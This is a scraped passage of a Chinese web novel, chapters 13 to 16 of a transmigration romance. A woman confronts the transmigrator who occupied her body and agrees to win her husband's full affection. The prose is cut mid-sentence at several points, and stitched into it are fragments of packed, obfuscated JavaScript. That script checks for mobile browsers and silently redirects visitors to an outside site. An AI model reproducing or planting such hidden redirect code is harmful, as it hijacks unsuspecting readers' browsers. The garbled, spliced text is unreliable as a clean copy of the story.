l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929833|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问，“这些都是你自己做的？” “嗯。”顾朝年盛出来一碗粥，放到她的面前，“尝尝。” 沈余试探性地尝了一口，不是她带有色眼镜，而是顾朝年真的不像是会对做饭这种事擅长的人。 舌尖碰上勺子，确定没有什么奇怪的味道沈余才算放心。米粥被炖的恰到好处，浓稠却不厚重。 没想到十指不沾阳春水的大少爷竟然会煮饭，真是稀奇。 “好吃。” 沈余给予了十足的肯定。 对于这个肯定顾朝年一点也不意外，因为她住院期间的营养餐就都是他煮的，他对自己的厨艺还是很有信心的，但这句夸奖依然让他很受用，嘴角勾起一个微小的弧度。 吃到一半，沈余忽然想起来，“梅姨走了，那你岂不是可以搬去客房了？” 刚刚翘起的嘴角立马消失。 “如果你晚上又做噩梦谁来安慰你？” 好不容易才让自己不去想这件事，顾朝年就这样水灵灵地说出来了，而且还一脸认真。沈余瞬间红脸，怕被发现连忙低头，“我又不是小孩子，做噩梦不需要安慰。” 一边说一边用勺子在碗里画圈圈。 而且她每晚都会做噩梦，难不成还要每晚都抱着他吗？ “我不习惯睡别人睡过的房间。” 果然是大少爷脾气，沈余小声吐槽着，“睡别人房间总好过睡地板吧？” 顾朝年没吭声。 画着画着有些给自己画晕了，沈余放下勺子，忽然想到了什么，“你不会是不想离婚了吧？” 说完这句话沈余就有些后悔了，不是后悔离婚，而是觉得时机不对。 人家一个大少爷又是哄睡又是做饭的，可见是对那个穿越者用情至深，结果她张口闭口就是离婚，实在是太让人伤心了。 就在她想要说些什么弥补一下，听到了顾朝年的答案，“只要你不反悔，我就不会反悔。” 她肯定不会反悔啊。 但是这一次她贴心地没说出来。 顾朝年又强调，“不过要等你恢复记忆之后。” “好。” 她随时可以恢复记忆。 两个人达成共识，沈余也算是了却一桩心愿，整个人格外地轻松。心情好，病也好得快，下午测体温的时候，已经恢复正常了。 但顾朝年还是不太放心，又让她吃了一点发烧药才放过她。 吃过药，陪卷毛玩了一会儿，沈余就困了。 刚一睡下，就又入了梦，今晚的梦是关于她的亲生父母的。 13. 第 13 章 梦总是突然开始的。 这次她所在的场景是一条不算繁华的街道，在梦里不会痛、更不会觉得饿，可沈余的肚子还是咕噜一声，好在对面就有一家面馆。 木质的板子歪歪斜斜写着四个字——老木面馆。 板子又破又旧，还缺了一角，看起来有些年头了。 她抬步迈进去，迎面撞上一个男人。 男人看起来五十多岁，平头，胡子乱糟糟一团，长相老实憨厚，只是长得让她觉得有些熟悉。 “吃面？” 沈余还在思索着自己是不是在哪里看过他，男人忽然开口，她视线落到男人身上按满爪印的围裙上，意识到这应该是面馆的厨师，所以这句话应该是对她说的。 她点头。 “不好意思，今天做不了了。”一边说一边起右手的小木牌，上面写着“今日休息”四个大字。 男人将牌子挂在门上，跑去了隔壁，没一会儿拎着一个蛋糕回来了。回来的时候发现她还在看，“要不你明天再来吧，今天是真的没时间。” 沈余的目光落在他手中的蛋糕上，透明的包装盒一眼就能看到里面的粉色蛋糕，就连包装盒上的丝带都是粉色的。 男人拎着蛋糕，朝她笑，“这不女儿今天过生日，她喜欢粉色。” “你女儿一定很漂亮。” 这无疑是一句恭维的话，男人却一脸骄傲地点头，原本已经要走了听到这句话甚至主动和沈余攀谈起来，“是啊，我家女儿从小漂亮到大呢！” 他摸了一把自己脸上的胡子，不好意思地笑笑，“不像我，像她妈，和她妈妈一样……” “漂亮”两个字还没说出口，里面突然吼了一句，“老木！你拿着蛋糕在门口不进来干什么呢！还不进来给昭昭做长寿面。” “来了来了。老婆。” “昭昭？” 两个人几乎同一时间开口，男人听到她的声音回头看她，“是啊，我女儿叫木昭昭。” 沈余抬头又望了一眼面馆的名字，然后问，“那你是叫木达？” “是啊。” “你妻子叫张秋池？” “是。” 原来真的是他，木达。 她的亲生父亲。 “你怎么知道这些的？” 这些都是她从沈昭昭那里听到的，但是看现在的时间好像还没到沈昭昭被找回沈家的日子，沈余一时间不知道该如何解释。 正踟蹰着，男人一拍大腿，“你是昭昭的同学吧！” 话音落下的瞬间，屋内的帘子被掀开，一个女人从里面走了出来，的确如男人刚刚所说的那样，妻子长的极美。即便是上了年纪，依旧比这个年龄的绝大多数人都要美。 只是看起来似乎脾气有些暴躁，“木达！你磨磨唧唧干什么呢？” 她走过来，拧着木达的耳朵，“昭昭一会儿就要回来了，你的长寿面呢？” 木达护住自己的耳朵，指向沈余，“昭昭朋友来了！” “昭昭朋友？”张秋池朝沈余看过来，一下子变得十分温柔，“这孩子真是的，有朋友来怎么不早说。” 当场表演了一场川剧变脸，沈余看得一愣一愣的，“不是”两个字就这样憋在了嘴里。 “爸爸，妈妈，我回来了！” 一道声音忽然闯入，随之而来的像是玻璃碎掉的声音。 那是梦境碎掉的声音。 * 如同昨晚一样，浑身发抖的沈余又一次抱住了顾朝年。 顾朝年不知道她现在清没清醒，有没有意识，他只是紧紧地抱住她，一点一点平复她颤抖着的身体。 滚烫的体温、浅淡的香味，都让沈余觉得心安，她慢慢清醒过来。 理智告诉她那只是一场梦，在沈昭昭回来之前她从没见过他们，可眼睛却又控制不住地流泪。 因为她真的去过那个面馆一次。 那是在沈昭昭被找回沈家之后。 他们的第一次见面和梦里差不多，他们没认出来她，把她当成沈昭昭的同学，直到她说出自己的身份，热情的两个人一瞬间僵住了。 三个人坐在面馆的小桌子里，寒暄了几句之后，尴尬地都不想抬头，最后木达憋出来一句，“昭昭怎么样？她一到换季就会感冒，也不知道……” 后面的话他没说，因为张秋池注意到了沈余惨白的脸色，在桌子下撞了一下木达的手肘。 木达意识到自己说错话，想要解释，却又不知道说些什么，尴尬地摸摸脑袋，最后选择闭嘴，少说少错。 沈余其实已经不记得他们说了什么，她只记得她最后留给他们一张卡，之后每个月都会给他们打钱，只是再也没见过彼此。 眼泪湿透了布料，顾朝年胸口一凉，轻声叫着她的名字，“阿余？” 沈余低低地嗯了一声，声音听起来闷闷的，怕被听出来她哭了，她平复了一下情绪说，“你之前说血缘很奇妙，所以我的亲生父母很喜欢我？” 顾朝年没有低头，静静感受着胸口一会冷一会儿热的温度，缓缓开口，“……喜欢。” “骗人！”说话间豆大的一滴泪又浸没男人的胸口，“如果他们喜欢我，为什么我生病这么久都没来看过我？” 怀里的人又在发抖，顾朝年拍着她的背，安慰她，“疼爱孩子是父母的天性。” “是啊，没有哪个父母是不疼爱自己的孩子的。” 沈余比他更想要说服自己，只是她又是那么清楚地知道。 无论是在沈家还是在那个面馆，她永远是多余的一个。 就像她的名字。 沈余。 余是多余的余。 眼泪忽然决堤一般涌出，沈余埋进他怀里，说着男人听不懂的话，“顾朝年，你知道吗？我也喜欢粉色。” “我从没吃过长寿面。” …… 这一次沈余记得昨晚的梦，顾朝年也记得，两个人却默契地谁没提。 第二天他们的午饭是长寿面。 * 梦境总是突然开始，却又不知道什么时候会结束。 沈余一连哭了三天，等到第四天的时候收起了眼泪，只是还有些微微发抖，等到了第六天，只是会微微皱眉。 顾朝年见证了全过程。 沈余又入了梦，今天的梦是她死之后。 她的葬礼上。 来了许多人。 沈青柏、叶茹、沈昭昭、木达、张秋池、顾叔叔，还有许多她不 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她原本以为自己发现了沈余的弱点，所以让她噩梦缠身，本以为等到她灵魂虚弱她就可以重新夺回身体，但是没想到只用了不到一周的时间她就完全摆脱了噩梦，不得已她亲自出马。 沈余轻轻哦了一声。 躲在暗处一直观察她的沈鱼心头涌上一丝不安，但还是继续执行自己的计划，“我可以帮你实现你所有的愿望，只要你答应我将你的身体借给我用用。” 像是深海的美人鱼那般魅惑人心，【你想要的一切我都可以帮你实现。】 【怎么样，很心动吧？】低声诱哄着她。 沈余：【的确很心动。】 还不等沈鱼高兴起来，她话锋一转，“但是，我不答应。” 【什么！你竟然不答应！】 话音落下的瞬间，沈余的面前就燃起了一缕烟雾，四周的烟雾也在向这边靠拢，汇聚到她的面前，最终变成了一个女人的模样。 让她惊讶的是，这个女人竟然有着和她一样的容貌，只不过她看起来更加怒气冲冲。 【你为什么不答应？】 沈余没吭声，只是沉默地盯着前方。 顺着她的视线看过去，是刚刚那副定格在她葬礼上的最后一个画面。 沈余喃喃道：【我死的时候他们伤心吗？】 沈鱼没有听出她语气中的困惑，无所谓地耸肩，【现在伤心又怎样，用不上三个月他们就将你彻底忘干净了。】 【他们根本不在乎你。】 她将赤裸裸的现实掰开了扔在她的面前，告诉她，你在乎的人，他们没有人在乎你，所以，把身体交给我吧。 沈余：【我不需要。】 沈鱼：【在我面前你没有必要嘴硬，我在你的身体里待了五年，没有一个人发现。】 【这个世界根本没有人爱你，你难道不知道吗？】 沈余：【我不需要任何人爱我。】 因为这句话，沈鱼第一次正眼看她。 她原本以为沈余只是在强撑着罢了，她的脸上一定充满了失望和伤心，但是当她抬眼的时候，这些表情她统统没有看到，她只对上了一双坚定又固执的眸子以及掷地有声的几句话： 【我不靠谁的爱活着。】 【我活着只是因为——我想活着。】 14. 第 14 章 【我不靠谁的爱活着。】 【我活着只是因为——我想活着。】 沈鱼反复念叨着这两句话，忽然勾唇一笑，【你很有意思。】 像讽刺又像是自嘲。 可她夸她了，沈余礼貌地回复：【谢谢。】 【并没有在夸你。】 【哦。】 【你……】沈鱼有被无语到，正准备离开。 身后的沈余叫住她：【或许我们可以开诚布公地谈谈。】 沈鱼背对着她，脚步一顿，【谈什么？】 【谈谈你是谁？为什么会来到我的身体里？以及怎么样你才愿意彻底离开？】 当然是完成任务。 只要任务结束，她立马就去下个世界。 绝不会对这个世界，更不会对她的身体有任何的留恋。 只是她的任务真的可以顺利完成吗？ 如果不是沈余突然回来，按照她最开始的计划她早就离开了。都是因为她坏了自己的好事。 沈鱼越想越生气，她抱着手臂，冷冷地回头看着她，【你死了这个心吧，我是永远不会离开的。】 【哦。】 又是十分冷淡的一句。 沈鱼侧目，【怎么样怕了吧？】 【我有什么好怕的？反正你除了让我做噩梦又什么都做不了。】 沈鱼：…… 都怪这个破系统。 【现在看起来更像是你被困在了我的身体里，我想真正该着急的人应该是你才对。】 沈余条理清晰地分析着现在的局势，她每说一句话沈鱼的脸色就黑一分，最后不等再说下去，一甩衣袖，化作一缕青烟消失不见。 看起来有些落荒而逃的意味。 随着她的消失，她眼前的白雾也开始消散，沈余的意识却在一点点重聚。 在梦里只是感觉过了一小会儿，但是睁开眼睛的时候天已经亮了。一根手臂横在她的小腹，那是顾朝年的手臂。 做梦的时候会短暂失去意识，但他的体温、他的味道， 沈余都记得。 顾朝年将她抱在怀里。 这并非是第一次了。她并不惊讶，真正惊讶地是她也是同样的姿势。 顾朝年将她扣在怀里，下巴撑在她的发顶，而她靠在顾朝年的胸膛上，双手揪着他的睡衣。 像两个齿轮，严丝合缝地拥抱在一起。 顾朝年动了一下，两个人原本有些距离的脸颊相贴，他无意识地蹭了蹭她的脸颊，沈余瞪大眼睛，清晨的瞌睡在这一刻彻底消散。 可男人还没完，下巴顺着她的脸颊落到了她的颈弯，温热的呼吸轻轻扫过她睡衣的领口。 太近，太亲密了。 沈余想要从男人的怀抱里退出来，刚动了一下，抱着她的人就睁开了眼睛，浅棕色的眸子还带着刚醒的迷茫，很快又阖上，将她抱得更紧了一点，“乖，再睡一会儿~” 说话时嘴唇若有似无地扫过她的脖颈，仿佛一个又一个的轻吻。 沈余脸色爆红，手推着他的胸膛，“顾，顾朝年，你醒了吗？” “……唔。”男人终于睁开了眼睛，视线一点点聚焦在怀里的人的身上，喉结滚动，还不等沈余说些什么，他蹭地一下坐起来，脸色十分难看地说了句抱歉然后飞快地离开了房间。 虽然这段时间做噩梦的时候顾朝年一直守在她身边，但在第一次她对顾朝年表达了不喜之后，她每次起来的时候顾朝年已经起床了。 原来不是没睡在一起，只是没让她发现而已。 沈余想了想还是决定再和顾朝年提一下他出去住的事情。 于是吃早饭的时候，沈余旧事重提，原本以为顾朝年还会说他不习惯睡别人睡过的房间，她连借口都找好了，她可以搬去客房，这样无论顾朝年是想要睡在床上还是睡地板都随他心意。 但没想到顾朝年只是顿了一下，然后就同意了。 沈余心情大好，笑眯眯地问，“那你什么时候搬？” 顾朝年看了她一眼，语气幽怨：“你想我什么时候搬？” 当然是越快越好了。沈余奇怪地看了他一眼，生怕他反悔，“择日不如撞日，不如就……” “不如就下周吧。”顾朝年点头，“这周我找人收拾一下客房，等你的病彻底好了，我就搬过去。” “今天”两个字在沈余嘴里转了个圈又回来了，她咽下这两个字，微笑，“好啊。” 一周她还是等得起的。 吃过早餐，刚走进客厅卷毛立马围了上来。最近因为她生病又加上做噩梦，顾朝年觉得都是因为带卷毛出去玩的那天吹了冷风回来又受到惊吓。 顾朝年三令五申让卷毛不要总求沈余带她出去玩，但小狗哪里懂这些，她只是想要妈妈带她出去玩而已。 每次只要卷毛一用可怜巴巴的眼神看着沈余，她就会心软，而且她觉得她的病其实已经好了，偶尔出去一小会儿没什么问题。 但顾朝年就是不许。 人在屋檐下，不得不低头。没办法，沈余只能在家里和卷毛做一些小游戏来消耗她过于旺盛的精.力。 到最后，沈余都没力气了，卷毛还神采奕奕。 “卷毛，我们休息一下好不好？” 回应她的是卷毛兴奋声，“汪汪！” 沈余：“……” 正准备舍命陪卷毛的时候，一直在书房办公的顾朝年走了过来，一把抱起卷毛，“我带卷毛出去玩。” 顾朝年虽然是居家办公，但是也并非全天围在她身边，每天不是在开会就是在看文件。沈余不明白明明都忙成这样了，为什么还待在家里。 顾朝年没说过，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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顾朝年看了一眼时间，“不用，我先去做午饭。你想吃什么？” 沈余随口说了几个，然后继续开始看剧。 一连几晚，沈余都没做梦，一觉睡到天亮，照镜子的时候整个人都容光焕发。 但是黑眼圈依旧没消下去，因为她最近在熬夜看剧。今天，她一个没控制住看到十一点多，这还是在顾朝年的监督之下。 洗漱好上床睡觉，彻底进入梦乡的时候已经凌晨了。 眼前又是白茫茫的一片，以及一个气急败坏的声音，【你怎么睡得这么晚？】 话音落下的瞬间，一缕青烟在她面前幻化成一个女人的模样，正是她那晚见到的那个穿越者。 沈余抿唇一笑。 鱼终于忍不住冒出水面。 15. 第 15 章 沈余：【最近在追剧，所以睡得比较晚。】 她还追剧？ 她还有心情追剧！ 她每天在系统空间内不仅要面对那个人工智障还要承受着顾朝年一动不动的好感度以及越来越少的任务时间带给她的压力，如果她有实体，头发肯定是一把一把地掉。 结果她还有闲心追剧！ 沈鱼真的很想破口大骂，但是一想到自己的目的，又硬生生忍住了。 见她不吭声，沈余问，【怎么，你找我有事？】 沈鱼深吸一口气，再开口已经平静了不少，却还是不愿意放下姿态，【你那天不是说想要和我谈一谈吗？我今天心情好，说吧，你想和我谈什么？】 尽管她已经尽力在隐藏，可沈余怎么听都觉得有些咬牙切齿的意味。她上下打量对面的女人，忍不住坦言相告， 【可是你现在看起来一点都不像是心情好的样子。】 【你别管！】沈鱼直接炸毛。 看着和自己几乎一模一样的脸做出这样的表情，沈余觉得十分新奇，但更多的是怪异。她不再说一些无关紧要的话，【好，我们来谈谈。】 【你既然主动来找我，肯定是有需要我帮忙……】沈余一边说一边打量女人的神色，在她说到“帮忙”两个字时，女人眉头一皱，感觉马上就要发飙，于是她说，【肯定是有用到我的地方，而我也一样。】 女人的眉心舒展开，沈余在继续往下说。 【所以我们在谈话之前需要达成一个共识，本次谈话是为了实现共赢，而不是我单方面地有求于你。怎么样，你同意吧？】 沈鱼哼哼两声，算作同意。 【那我先说我的诉求，我的诉求还是那天我提出的三个问题：你是谁？为什么会来到我的身体里？怎么样才愿意彻底离开我的身体？】 沈余说了自己的诉求，然后看向她，【你呢，你的诉求是什么？】 谈及正事的时候对面的女人好像忽然沉稳了，她说：【我要顾朝年全部的爱。】 沈余等着她的下文，结果女人半天没再讲话，她忍不住问，【……没了？】 【没了。难道你觉得这很简单吗？】 沈余点头。 让顾朝年喜欢“她”还不简单吗？ 这段时间的朝夕相处，没有人比她更清楚顾朝年有多喜欢“她”，所以这个要求在沈余这里的难度几乎为0。 对上沈余那近乎天真的眼神，她冷笑两声，【既然这样你是答应要帮我喽？】 【我答应。】沈余十分爽快，说完又怕有什么陷阱，补充，【但你不可以趁机重新占据我的身体。】 沈鱼翻了一个白眼，【不会。】 实际上想的却是：我要有那个能力还会和她在这里废话。 有了她的保证，沈余放下心来，【既然我已经答应你了，那你回答我前面的问题吧。先回答第一个，你是谁？】 沈鱼：【我叫沈鱼。】 和她是同一个名字？ 像是知道她心中所想，沈余还没开口，对面的人瞪了她一眼，【才不是！】然后十分高傲地撩了一下头发，【你的什么破名字也能和我比？我的yu是金鱼的鱼。】 沈余垂下眼眸，没有反驳。 她快速在在脑海中翻阅记忆，她认识的人里没有叫这个名字的，难道是顾朝年认识的人。毕竟“她”这么喜欢顾朝年，很有可能。 【别瞎想了，没有人认识我。】 【因为我根本就不是这个世界的人。】 【我是一个穿越者。】 这三句话一句比一句更让人震惊，但是沈鱼没觉得有什么，她甚至都没停顿一下，自顾自地继续讲下去，【接下来回答你第二个问题。】 【身为穿越者，我的任务就是穿梭于三千小世界之中，攻略每个小世界的气运之子，获得他们全部的爱意。顾朝年就是这个世界的气运之子，我来到这个世界就是为了攻略他。】 沈鱼一口气说完，发现沈余愣愣地看着她，【没懂？】 完全没懂。】、 对于普通人来说，确实不太能理解她们这个行业，沈鱼也不知道要怎么和她讲，索性叫来系统。 响指一打，一个巨大的电子屏幕出现在沈余面前，【请看VCR。】 这个视频是沈鱼刚开始来到快穿局系统自带的视频，类似于现代的员工手册，里面详细记录了快穿局的中心思想以及主要工作方式。 沈余不懂的点都能在这里找到答案。 十几分钟后，沈余看完了全部视频，信息量太大，她一时间不知道说什么才好，半个小时后她终于将这些信息都消化好，但还是有一肚子问题。 【为什么是我？】 【你和他是青梅竹马，虽然快要解除婚约了，但考虑到顾朝年的性格，你已经是最容易接近他的身份了。】 【车祸是你吗？】 【别随便冤枉人，我虽然不是什么好人，但也不会为了任务就草菅人命。车祸是自然发生，系统检测到你已经死亡，我才占据你的身体。至于你为什么没死又回来，我比你还想知道为什么？】 要是知道任务做到一半她会回来，就算沈余的身份再方便接近顾朝年她也不会选择她。 看她的表情不像说谎，而且事情已经发生，沈余不想再去纠结，【好，那你现在回答第三个问题吧】 【第三个问题啊。】沈鱼想了一下才想起第三个问题是什么，【想要我离开很简单，就是我提的那个要求。】 沈余想到她一开始的要求，【你想要顾朝年爱上你？】 沈鱼不赞同，【我不是要他爱上我，而是要他全部的爱。】 …… 沈余：【区别在哪里？】 沈鱼：【区别就在于顾朝年已经爱上我了。】 沈余欣赏她的自信，但也承认她说的的确是现实。 顾朝年的确早就爱上她了。 【顾朝年还不够爱你吗？】 想到这些日子的相处，从医院的每一晚陪床到她做噩梦一晚一晚守在她的身边，还有在沈家母女面前的维护以及这些日子里她吃的每一顿饭。 作为顾朝年曾经的未婚妻，她很清楚：能让顾朝年这么冷漠的人做到这个地步，自然是真爱无疑。 沈鱼不想和她谈什么爱不爱的，又一个响指，沈余眼前的屏幕变幻，变成了顾朝年的专属任务界面。 任务目标：顾朝年。 性别：男 身高：188cm 体重：78kg 年龄：29 长度：19.5cm 血性：O型 职位：xx公司董事长，xxx公司总裁…… 性格：高冷，淡漠 …… 从身高体重到性格爱好一应俱全。沈余一目十行地浏览着，直到看到看到一行红色加粗的字体：【顾朝年当前好感度为95%。】 沈余：【全部的爱是指100%的爱？】 沈鱼：【自然。】 经历过刚刚那些，现在的沈余接受的十分迅速，直接问：【那你需要我做些什么？】说完略带防备地看着她，【你答应过我不会趁机抢占我的身体的。】 沈鱼摆手，【放心。我没想再抢占你的身体，只是需要你去攻略顾朝年。】 【什么！？】 经过刚才的学习，沈余对攻略的含义略懂一点，但还是有些震惊，【这不是你的任务吗？为什么要我来完成？】 【那不然怎么办呢？谁叫我答应了你不会抢占你的身体。】她走过来，直视着沈余的眼睛，【而你也答应了要帮我完成任务。】 她的眼神太过锐利，看得沈余不舒服，她移开目光，沈鱼上前一步，强硬地捏着她的下巴，【想后悔？】 【晚了。】 指尖落在白嫩的肌肤上，很快落下一道红痕，沈余拍掉她的手，揉着自己发疼的下巴。 沈鱼的目光扫过她下巴上的红痕，嘟囔了一句，【娇气。】抬手又是一个响指。 痕迹消失，痛觉也一起消失。 沈余抿唇，看起来有些不高兴，【我刚刚没想反悔。】 【真的？】沈鱼是有些不信的，【那你刚刚在想什么？】 沈余：【我在想我要怎么做才能攻略顾朝年。】 【还能怎么攻略，就是谈恋爱喽。】 【……谈恋爱？我和顾朝年？】 沈余满脸都是你在开玩笑吧，她又不喜欢顾朝年，顾朝年也不喜欢她，他们谈什么恋爱？ 【哦~不是谈恋爱。】 沈余好像活回来一点。 但沈鱼的下一句话，让她又死了过去。 【应该是做ai~】 沈鱼两手一摊，笑地十分无赖，【毕竟也是老夫老妻了，谈恋爱哪有做ai更容易感情升温呢。】 沈余：…… 刚刚没想反悔，这一刻是真的后悔了。 之前每次和沈余讲话，无论你说什么她永远只淡淡地回一个哦，终于轮到她吃瘪了，沈鱼心情大好。 足足欣赏了一分钟，她才慢悠悠开口，【好了好了，不逗你了。】 沈余的脸色缓回来一点。 【这种东西又不是KPI没有硬性要求，你爱做做，不做我又不能强迫你做。只是谈恋爱肯定是避免不了的。】 看着沈余再度黑下去的脸，沈鱼不满地强调，【喂！我毕竟是要顾朝年100%的爱，不走恋爱路线走什么，更何况你们已经结婚了。】 不止如此，他们还很快就要离婚了呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929836|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是现在看来，恐怕是一时半会儿离不了了。 要不然背着沈鱼偷偷把婚离掉，就算离婚了她也可以帮助沈鱼攻略顾朝年啊。 ……是这样吧。 沈余正在头脑风暴，忽然被人敲了一下脑袋。 再是好脾气的人也受不住一个晚上被一而再而三的粗暴对待，沈余想要呵斥她，只是一开口声音还是温柔的，【你这个人怎么这么没有礼貌？】 一下子就少了几分气势。 【我没礼貌？我没礼貌？】她穿越了这么多世界还是第一次有人说她没有礼貌，她简直要被气笑了。 随后不知道想到什么，气笑化为了冷笑，【沈余，我看你就是在找借口想要反悔吧。】 ！ 污蔑。 赤裸裸地污蔑。 她被气到说不出话，沈鱼却洋洋得意，【看，被我说中了吧。不然你为什么都不敢讲话，是羞愧吧。】 【你……】沈余被她的强盗逻辑震惊，想说些什么，可是从小的良好的教育让她连脏话都不会说，到最后只憋出一句，【小人之心度君子之腹！】 沈鱼成功被她这幅样子逗笑，哈哈哈笑了半天。 沈余只能安慰自己不要和她计较。 【好了，不要再小了，快点告诉我到底要做些什么吧？】 用手指擦掉眼尾笑出来的泪水，沈鱼的神色终于正经了起来，【第一件事就是去找顾朝年说不离婚了。】 * 沈余从梦境中清醒过来，下意识地看向床边，顾朝年果然不在。 一想到自己千辛万苦才说服顾朝年同意和自己离婚，现在又要反悔，沈余就烦躁。 但是梦里沈鱼和她说的也有道理，如果真的离婚了顾朝年的好感度肯定会下降，而且离婚后他们两个人势必要分开住，按照顾朝年的忙碌程度，估计见一面都没时间，她想要攻略他更是难上加难。 好处千万条，唯独有一条：她说服不了自己。 可是她又想要沈鱼彻底离开自己的身体…… 沈余越想越烦躁，她一烦躁就喜欢用被子将自己卷成一个瑞士卷，顺便将脸也蒙上，在床上滚啊滚。 从这头滚到那头，又从那头滚到这头，身上的被子散开又卷上。 一个用力差一点要滚下去，沈余闭上眼睛，预料中的疼痛没有到来，反而感觉到有一双大手轻轻托住了她。 她睁开眼睛，扒开被子，两个人的视线在空中不期而遇。 男人的身后是灿烂的阳光，其中一大部分被他宽厚的肩膀遮挡住，另一部分落到男人的纯白色的针织毛衣上，落到他的柔软的发丝上。 沈余的脑袋被滚得晕晕的，只觉得顾朝年像是披着霞光来的，整个人都格外温柔。 顾朝年的手抱着被子，将她轻轻放到了床的正中央，然后坐在床边的凳子上，颇为宠溺地看着她，“还要继续玩一会儿吗？我可以在旁边护着你。” 忽然，沈余的脑海里传出一道的声音，【就是现在！告诉他你不想离婚了。】 尖锐的声音穿透大脑，直击灵魂。沈余愣了两秒，才反应过来，【沈鱼？】 沈鱼：【是我。】 【我为什么能听到你讲话？不对，我们为什么可以对话？不是只能梦境交流吗？】 【一直都可以啊，只是之前我们竞争对手，我怎么可能会主动和你讲话，但是现在不一样了，现在我们是合作伙伴。】 沈余：…… 【下次不要突然出声吓我。】 【好好好。】沈鱼现在满脑子都是她的任务，随口敷衍道，【别计较这个了，你快点和他说你不想离婚了。】 【……现在？】沈余有些犹豫。 【当然了。难道你还要等到他彻底失望，好感度降低？你现在说也许会涨也说不定。】 【快点，快点。】 【……好吧。】 在沈鱼的轮番催促下，沈余打算先从瑞士卷里爬出来然后再和顾朝年说离婚的事情，结果因为缠了太多层，一时间没爬出来，狼狈地挣扎了很久，最后还是顾朝年将她拽了出来。 顾朝年还以为她不高兴，小心翼翼地问她，“阿余，怎么不玩了？你放心，我肯定会护好你，绝不会让你摔到的。” 说完，意识到自己还拉着阿余的手，想到阿余不喜欢自己碰她，“抱歉。” 沈鱼在她的脑袋里尖叫：【完蛋了，他肯定伤心了，你快拉住他的手啊，不然一会儿掉好感度怎么办。】 身体比意识先做出反应，等到沈余回过神来的时候她已经牵住顾朝年的手了。 感受到自己手背上传来的柔软触感，顾朝年微愣，“……阿余？” 反正也到这一步了，沈余干脆硬着头皮说下去，“顾朝年，我们不离婚了好不好？” 16. 第 16 章 顾朝年一时间有些没反应过来，“阿余，你……在说什么？” 沈余只好再重复一遍，“我说我们不要离婚了好不好？” 从天而降的巨大惊喜将他砸中，顾朝年懵了一瞬才反应过来她说的是什么“……不，不离婚？” “对。”看他犹豫，沈余难免乱想难道真的是她之前伤了他的心？ “你不愿意吗？” “我愿意，我当然愿意！” 顾朝年一下子站了起来，生怕晚说一秒沈余会后悔。 意识到自己情绪太过激动，怕吓到她又缓缓坐下去，“只是……你为什么会突然改变主意？”明明她之前一直很想离婚的。 当然是为了送走沈鱼，但是这个答案显然不能说，那还能有什么借口呢，沈余有些头疼地捂住脑袋。 “是头疼了吗？你先不要动，我马上带你去医院。”说着就要去拿沈余的外套带她去医院。 沈余拽着他的手腕，“我没事。” “没事怎么会头疼呢？”而且还说不和他离婚这么反常的话。 顾朝年忽然有一个猜想，“……阿余，你是不是恢复记忆了？” 【告诉他你恢复记忆了。】 脑海中再次传出沈鱼的声音，恢复记忆的确是一个好借口，不仅可以合理解释她突然不想离婚还方便她今后的攻略。 但沈余有自己的考量。 她皱眉思考的样子落在顾朝年眼里便是她痛到皱眉，当即决定，“我们现在就去医院。” “啊？”沈余解释，“我真的没事。” 无论她怎么解释，顾朝年都不为所动，反扣住她的手腕，直接单手将她抱起来，沈余惊呼一声，下意识地环住男人的脖子。 看来这医院是非去不可了。 索性放弃了反抗，路过客厅的时候顾朝年将她放在沙发上，衣服围巾一样不落地裹在她的身上，穿好鞋子刚站起来又被男人一把抱起。 沈余：“我可以自己走。” 顾朝年：“没事，阿余很轻，我一只手就能抱起来。” 她当然知道他一只手就能抱得动，他刚刚就是单手将她抱起来的，她根本就不是担心这个，“一会儿要是被别人看到怎么办。” 本就温柔的声音透过层层围巾传出来，又轻又软，像是撒娇一样。 “不会有人看到的。”顾朝年解释完，便匆匆抱着她出门了。 公寓是一梯一户的设计，电梯也是专属电梯，出了电梯就是地下车库，顾朝年的车就停在那附近，所以刚刚那句话并不是随口一说，真的不会有人看见。 但沈余并不知情，圆溜溜的眼睛转了一路，好在真的没什么人，就这样胆战心惊地上了车，为她扣上安全带的时候，顾朝年的手在微微发抖。 沈余才发现顾朝年的身上只穿了那件白色毛衣，“顾朝年，你没穿外套。” 他现在最担心的就是她的身体，哪有什么心情关心外套的事情，“没事，我们先去医院，一会儿叫木叔送过来。” 自从顾朝年居家办公后，木叔从原来的专职司机变成了买菜司机，每日为他们送来一日三餐后基本上自由了。 如果需要用车，顾朝年会给木叔提前打电话，看来今天顾朝年是不打算等木叔过来了。 果然，男人拉开车门，坐上了驾驶位。 一脚油门，两人很快达到医院。 还是上次的那家私立医院，顾氏在医院有股份，无需排队，很快就有专人来为沈余做检查。 在等待地间隙，顾朝年频频望向她，在她看过去的时候又会慌乱地移开视线。 沈余选择无视。 好在没一会儿，顾朝年接到电话说检查结果出来了就匆匆离开了。 * 医院会议室内，汇聚了几乎国内在脑科和神经内科最顶尖的专家，他们围坐在一个电脑面前七嘴八舌地讨论着，那上面放着的是沈余的脑补结构图。 不是因为病情多么地复杂，而是不论是她的大脑还是神经都再正常不过，最后这些医生一致得出结论病人真正需要去看一下心理精神科。 顾朝年捏了捏有些发胀的眼眶，指尖在桌面上轻敲，“有没有可能她根本没有失忆呢？” 声音不紧不慢，不像是说给别人听，更像是喃喃自语。 会议室内噤若寒蝉。 